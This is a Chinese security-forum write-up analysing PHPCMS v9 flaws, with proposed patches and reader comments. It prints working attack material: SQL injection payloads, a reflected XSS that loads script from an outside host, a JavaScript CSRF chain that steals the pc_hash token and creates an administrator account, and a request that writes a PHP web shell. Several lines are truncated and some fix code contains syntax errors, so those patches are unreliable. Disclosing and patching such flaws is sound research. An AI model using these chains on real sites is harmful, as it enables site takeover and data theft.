

0x01 测试场景：

1. 版本信息截图如下：

0x02 测试思路：

检测者通过投稿的方式或者其他可能的方式递送存在漏洞的链接，一旦后台用户点击，就会自动添加一个新的管理员（该项需要管理权限，后台其他重要操作等）或者在-

0x03 文件报错

这种类型的洞在phpcms中还挺常见的，主要是没有处理好一些包含，单独挖这种洞实际上意义也不大，但是如果要getshell的话却缺一不可，简单列举几种类型。

1.1 漏洞文件：

\phpcms\modules\content\sitemodel\_field.php的edit方法中

因为根本没有初始化\$field\_type的值就进行了包含（前面有个if判断，进到逻辑中才进行赋值，否则不赋值）

直接请求/index.php?m=content&c=sitemodel\_field&a=edit&modelid=&menuid=&pc\_hash=xxxxx

即可爆路径

修复方案：

修改\phpcms\modules\content\sitemodel\_field.php第124行为：

```
if(is_file(MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'config.inc.php')) require (MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'conf
```

修改前后对比：

修改后已无法爆路径。

1.2 漏洞文件：

\phpcms\modules\formguide\formguide\_field.php

变量直接进行包含，可爆路径链接：

/index.php?m=formguide&c=formguide\_field&a=public\_field\_setting

修复方案：

修改\phpcms\modules\formguide\formguide\_field.php第300行为

```
if(is_file(MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'config.inc.php')) require (MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'co
```

修改前后对比：

修改后已无法爆路径

1.3 漏洞文件：

/cache/configs/system.php

因为没有判断引入关系，导致该文件可以直接被访问，只有正确引用该文件的情况下，文件中的变量才能被正确定义，于是直接访问就会导致变量出现问题，直接爆路径链接

/cache/configs/system.php

修复方案：

在/cache/configs/system.php头部添加

```
defined('IN_PHPCMS') or exit('No permission resources.');
```

修改前后对比图：

修改后已无法爆路径

## 0x04 后台“鸡肋”注入

Phpcms默认全局会对传递的\$\_GET,\$\_POST等参数值进行addslashes转义处理，再加上变量大部分都会被单引号包裹，很多数值参数也是直接int处理，所以要找到注入还是outfile从而getshell了。接下来介绍3种类型的注入。

### 4.1 变量没有处理直接进入数据库查询

\phpcms\modules\poster\poster.php

在stat函数中

第222行获取变量\$group的值，没有加单引号，加了`

第226行进入get\_one函数，在该函数中

第80行进入db\_mysqli.class.php的get\_one函数

全程都没有对\$group的值进行过滤处理，于是产生注入，请求地址如下：

/index.php?m=poster&c=poster&a=stat&pc\_hash=xxxxx&id=1&click=1&group=type`%20ORDER%20BY%20(select%201=(updatexml(1,concat(0x5e24,(se

数据库执行语句为:

```
SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_poster_201707` WHERE `pid`='1' AND `siteid`='1' AND `type`='1' GROUP BY `type` ORDER BY `num` DESC
```

这里因为addslashes函数的处理，是没办法引入单双引号，所以没办法into outfile

修复方案：

修改\phpcms\modules\poster\poster.php

第222,223行为

```
if(in_array($_GET['group'],array('username','area','ip','referer','clicktime','type'))){
    $group = " `".$_GET['group']." `";
    $fields = "*", COUNT("".$_GET['group'].") AS num";
    $order = " `num` DESC";
}
else
{
    $group = " `type`";
    $fields = "*", COUNT(type) AS num";
    $order = " `num` DESC";
}
```

修改前后对比图：

修改后已无法注入

### 4.2 数据库查询直接传入数组导致的注入

\phpcms\modules\content\site\_model\_field.php

在add函数中

第51行直接传入\$\_POST['info']数组，也即意味着我们不仅可以控制数组的值，还可以控制键值。

调用\phpcms\libs\classes\model.class.php的insert方法

调用\phpcms\libs\classes\db\_mysqli.class.php的insert方法

第193行，对数组的键值调用add\_special\_char方法进行处理

该函数对值添加`字符作为字段，并且检验是否包含一些特定的关键字，不过用替换为空处理着实不明智。

所以这个函数基本上没有做任何防护处理

第201行调用execute方法执行最后的数据库操作语句

综上，我们可以控制\$\_POST['info']的键来进行注入

测试过程：

在后台：

内容 > 内容相关设置 > 模型管理 >

选择一个模型进行字段管理，然后点击添加字段，填写数据后抓包

```
POST /index.php?m=content&c=sitemodel_field&a=add HTTP/1.1
Host: 192.168.99.127
Content-Length: 856
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=content&c=sitemodel_field&a=add&modelid=12&menuid=59&pc_hash=hvTown
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
```

```
info[formtype]=text&issystem=0&info[issystem]=0&info[field]=heiheihei9&info[name]=heiheiheihei&info[tips]=&setting[size]=50&se
```

在info数组中添加一个数据，键为数据库注入语句

每查询一次就要修改一次info[field]的值，否则数据库会爆字段重复错误。这里因为addslashes函数的处理，是没办法引入单双引号，所以没办法into outfile

修复建议：

指定传入insert的键值或者限定\$\_POST['info']数组中的键为固定数组中的一个,修改\phpcms\modules\content\sitemodel\_field.php第51行为

```
$this->db->insert(array('modelid'=>$modelid, 'field'=>$field, 'minlength'=>$minlength, 'maxlength'=>$maxlength, 'formtype'=>$fi
```

或者在第50行后添加

```
$fields = array('modelid', 'field', 'minlength', 'maxlength', 'formtype', 'setting', 'siteid', 'unsetgroupids', 'unsetroleids');
foreach ($_POST['info'] as $k=>$value)
{
    if (!in_array($k, $fields))
    {
        unset($_POST['info'][$k]);
    }
}
```

这里选择后者，便于管理与操作

修改后对比图：

修改后已无法进行注入。

其他：在edit函数中

也是同样直接传入\$\_POST['info']数组，也即意味着我们不仅可以控制数组的值，还可以控制键值，最后造成update型注入，这里不再赘述。修复方法同上。

像\phpcms\modules\content\sitemodel\_field.php文件一样因为直接传入数组查询导致注入的还有以下文件，这里只列举，不再赘述：

\phpcms\modules\content\type\_manage.php

add方法insert注入

\phpcms\modules\content\workflow.php

add方法insert注入/edit方法update型注入

\phpcms\modules\formguide\formguide.php

add方法insert注入/edit方法update型注入

\phpcms\modules\member\member.php

add方法insert注入

\phpcms\modules\member\member\_menu.php

add方法insert注入/edit方法update型注入

\phpcms\modules\member\member\_modelfield.php

add方法insert注入/edit方法update型注入

\phpcms\modules\poster\poster.php

add方法insert注入/edit方法update型注入

\phpcms\modules\poster\space.php

add方法insert注入/edit方法update型注入

\phpcms\modules\search\search\_type.php

add方法insert注入/edit方法update型注入

\phpcms\modules\special\content.php

add方法insert注入/edit方法update型注入

\phpcms\modules\special\special.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\badword.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\category.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\copyfrom.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\ipbanned.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\keylink.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\menu.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\position.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\role.php

add方法insert注入/edit方法update型注入

\phpcms\modules\admin\urlrule.php

add方法insert注入/edit方法update型注入

这里其实还有个思路，先insert要into

outfile的数据到数据库中，然后找到一个二次入库的点，可以getshell，不过随便找了一下，发现phpcms二次入库的点还挺少的，直接放弃。

#### 4.3 因为变量覆盖导致的注入

\phpcms\modules\message\message.php

在search\_message函数中

第259行初始化\$where参数

第260行，将\$\_POST['search']中的键注册为变量

第280行，\$where参数传入listinfo函数

在listinfo函数中

第58行，\$where传入count函数

在count函数中

第142行\$where传入get\_one函数

在get\_one函数中

第140行进入execute函数执行

综上，因为extract函数的关系，这里\$where■■(■■\$\_POST['search']['where'])是可控的，可构造一个不带单双引号的注入

请求如下：

```
POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1
Host: 192.168.99.127
Content-Length: 208
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=0rStVl
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
```

```
search[status]=&search[username]=todaro&search[start_time]=&search[end_time]=&dosubmit=%CB%D1%CB%F7&pc_hash=0rStVl&search[where]=
```

最后执行的数据库语句为

```
SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_message` WHERE 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))# AND send_f
```

不过因为phpcms的全局处理，所以如果在\$where参数中加入单双引号是会过滤的，所以这里也不能into outfile

不过回头又重新看了一下，发现事情还有转机

在listinfo函数将\$where参数传入count函数后

\$where会被to\_sqls函数进行处理

在该函数中会判断传入的参数，如果是数组，会分别将键值对取出来，键只添加`，而值会加单引号

所以如果如果能给to\_sqls函数传入数组，那么在键中就可以加入单双引号！

来重新看一下search\_message函数

如果不进入第264行和第272行中，\$where就能是一个数组

综合第261行的判断，这里只要让\$username为空、\$start\_time和\$end\_time其中一个为空，即可满足要求。

综上,请求如下数据

```
POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1
Host: 192.168.99.127
Content-Length: 333
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=xxxxx
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
```

```
search[status]=&search[username]=&search[start_time]=1&search[end_time]=&dosubmit=%CB%D1%CB%F7&pc_hash=xxxxx&search[where][rep
```

(绝对路径由前面爆路径所得)

如果当前数据库用户有写权限，即可生成/phpcms/modules/message/1.php文件

我们再来看一下这个操作所需要的权限及位置：

位置：模块 > 模块列表 > 短消息 > “搜索处”

设置该权限：设置 > 管理员设置 > 角色管理 > 权限设置 > 模块 > 模块列表 > 短消息

短消息这个功能对于后台用户（总编、编辑、运营总监、发布人员、站点管理员、超级管理员）来说，赋予其这个权限应该不算太高吧？

修复建议：

修改\phpcms\modules\message\message.php文件

第260行为

```
extract($_POST['search'], EXTR_SKIP);
```

修改后即可防止变量覆盖，无法getshell。

像\phpcms\modules\message\message.php文件一样因为变量覆盖导致注入的还有以下文件，这里只列举，不再赘述：

\phpcms\modules\pay\payment.php

pay\_list函数/pay\_stat函数

\phpcms\modules\admin\ipbanned.php

search\_ip函数

\phpcms\modules\attachment\manage.php

init函数

上面的注入都存在于后台中，所以会验证pc\_hash这个值，而这个值也是用来进行csrf防御的，主要在调用一些函数时会校验该值，所以管理员直接访问/index.php?m=admin

不过我在后台中找到一个反射型xss，但是如同上面说的在调用一些函数时会校验pc\_hash的值，这就成悖论了：要想触发后台xss，就得先有pc\_hash，但是pc\_hash又得

调用\phpcms\modules\admin\classes\admin.class.php类admin的\_\_construct函数

第18行调用check\_priv函数

在该函数的第171行如果\$\_GET['a']参数为public开头的则返回true

第24行调用check\_hash函数来校验pc\_hash的值以防止csrf漏洞

同样的在该函数中，如果\$\_GET['a']参数为public开头的则返回true，不再校验pc\_hash

所以如果后台中有以public开头的函数存在漏洞，则能绕过pc\_hash的校验，造成csrf漏洞。

上面说到的后台反射型xss就是在public开头的函数中，所以后台用户访问时不需要校验pc\_hash，不过还是会校验后台权限，所以这个xss只能用来攻击后台用户。

0x05 化腐朽为神奇的后台反射型xss

在\phpcms\modules\admin\plugin.php文件public\_appcenter\_ajax\_detail函数中

第409行获取远程内容

第411行\$\_GET['jsoncallback']连同获取的内容被一起输出到页面中

链接地址：

```
/index.php?m=admin&c=plugin&a=public_appcenter_ajax_detail&jsoncallback=<script src=http://192.168.99.129/3.js></script>
```

3.js的内容为'alert(1);'，后台用户访问该链接即可加载远端js，然后js被执行，弹出1

修复建议：

修改\phpcms\modules\admin\plugin.php文件

```
echo htmlspecialchars($_GET['jsoncallback'].'('$data.')).';
```

(注：()内本来不会有内容的，因为请求域名不存在，本地网络被运营商劫持，强行加上去的)

将以下1,2,3方法联合起来使用，就可以实现点击一个链接造成添加管理员或者直接getshell的效果

有了xss,有了pc\_hash,那就能通过csrf漏洞在后台为所欲为了,比如添加一个管理员。在添加管理员中的请求中还有一个重要的参数,就是admin\_manage\_code

[/index.php?m=admin&c=admin\\_manage&a=add&menuid=54&pc\\_hash=xxxxx](#)

所以这里需要先获取到pc\_hash，然后再获取admin\_manage\_code，最后就能构造添加管理员的请求包，管理员已登录的情况下，火狐打开如下链接：

/index.php?m=admin&c=plugin&a=public\_appcenter\_ajax\_detail&jsoncallback=%3Cscript%20src=http://192.168.99.129/2.js%3E%3C/script

更新：绕过最新chrome浏览器的xss auditor：


/index.php?m=admin&c=plugin&a=public\_appcenter\_ajax\_detail&jsoncallback=<br>%00%00%00%00%00%00%00%00%3Cscript%20src=http://192.168

---

2.js的内容为如下：

```
var request = false;
if (window.XMLHttpRequest) {
    request = new XMLHttpRequest();
    if (request.overrideMimeType) {
        request.overrideMimeType('text/xml')
    }
} else if (window.ActiveXObject) {
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0'];
    for (var i = 0; i < versions.length; i++) {
        try {
            request = new ActiveXObject(versions[i])
        } catch (e) {}
    }
}

xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin", false);
xmlhttp.send(null);

var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/'[1];//pc_hash
```

```
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash="+pc_hash, false);
xmlhttp.send(null);
var admin_manage_code = xmlhttp.responseText.match(/value="(\\S*)" id="admin_manage_code"/)[1];//■■■■admin_manage_code
```

```
var parm = "info%5Busername%5D=test1234&info%5Bpassword%5D=a123123&info%5Bpwdconfirm%5D=a123123&info%5Bemail%5D=1%402ssq.com&i
```

```
xmlhttp = request;
xmlhttp.open("POST", "http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add", true);
xmlhttp.setRequestHeader("Cache-Control", "no-cache");
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send(parm);
```

请求后会添加一个用户名为test1234密码为a123123的管理员

其他后台的操作可以以同样的方法实现，这里不再赘述

## 0x06 从反射型XSS到CSRF绕过到有条件getshell

这里的有条件指的是后台模块的使用权限（上面已经论述），还有一个就是当前数据库用户的写权限。漏洞的利用方式可以是投稿文章，文章中加入该反射型xss的链接（可



写入文件头部，以防止文件被web直接访问

第260行指定文件为\caches\cachestemplate\block\tmp\$\_GET['id'].php

第265行将内容写入到该文件中

如果文件写入成功，在267行包含该文件并读取内容，第270行删除该文件

综上，写入的文件内容可控，且因为new\_stripslashes函数的处理导致我们可以引入单引号，也因为最后文件被包含后就会被删除，所以最后漏洞的利用方法为当文件被包含

漏洞的触发点在后台的

内容 > 内容发布管理 > 碎片管理 >

默认安装下v9\_block表是空的，关于如何添加碎片：[http://v9.help.phpcms.cn/html/2010/tools\\_0906/6.html](http://v9.help.phpcms.cn/html/2010/tools_0906/6.html)

一旦用户已经添加过碎片，即v9\_block表中有数据且type类型为2时就可以触发该漏洞，否则就比较麻烦，还是要利用上面的反射型xss先添加一个记录，再进行漏洞的利用。

id ( \$\_GET['id'] ) 是可猜解的,发起如下请求：

```
POST /index.php?m=block&c=block_admin&a=public_view&id=2 HTTP/1.1
```

```
Host: 192.168.99.127
```

```
Content-Length: 178
```

```
Pragma: no-cache
```

```
Cache-Control: no-cache
```

```
Origin: http://192.168.99.127
```

```
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,;q=0.8
```

```
DNT: 1
```

```
Referer:
```

```
Cookie:
```

```
Connection: close
```

```
title[x]=a&url[x]=b&thumb[x]=c&desc[x]=d&template=heiheihei<?php @file_put_contents('C:\www\cms\phpcms_v9.6.3_GBK\caches\cache
```

即可生成\caches\caches\_template\block\1.php文件

从csrf到漏洞的利用脚本我就不写了。

点击收藏 | 0 关注 | 1

[上一篇：GitHub 泄露监控系统](#) [下一篇：Web安全测试PDF](#)

1. 7 条回复



[suolong](#) 2017-08-25 10:04:56

来学习姿势了~

0 回复Ta

---



[master](#) 2017-08-25 10:30:09

牛b坏了。。虽然没有看懂分析，但是从文章的长度上已经膜拜的五体投地了。

0 回复Ta

---



[hades](#) 2017-08-31 02:23:09

这个挺不错滴~~赞b(╯▽╰)d

0 回复Ta

---



[lucifaer](#) 2017-09-05 01:32:50

这个真的厉害了，分析的非常全面，思路学习了

0 回复Ta

---



[薄荷糖195](#) 2017-09-05 07:37:44

我找到一个，可以快速获取管理员pc\_hash值的逻辑漏洞，正好可以使用

0 回复Ta

---



[todaro](#) 2017-09-27 07:50:12

来分享一下呗

0 回复Ta

---



[薄荷糖195](#) 2017-09-30 01:23:48

你可以关注一下它申请友情链接的地方，就能发现了

0 回复Ta

---

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)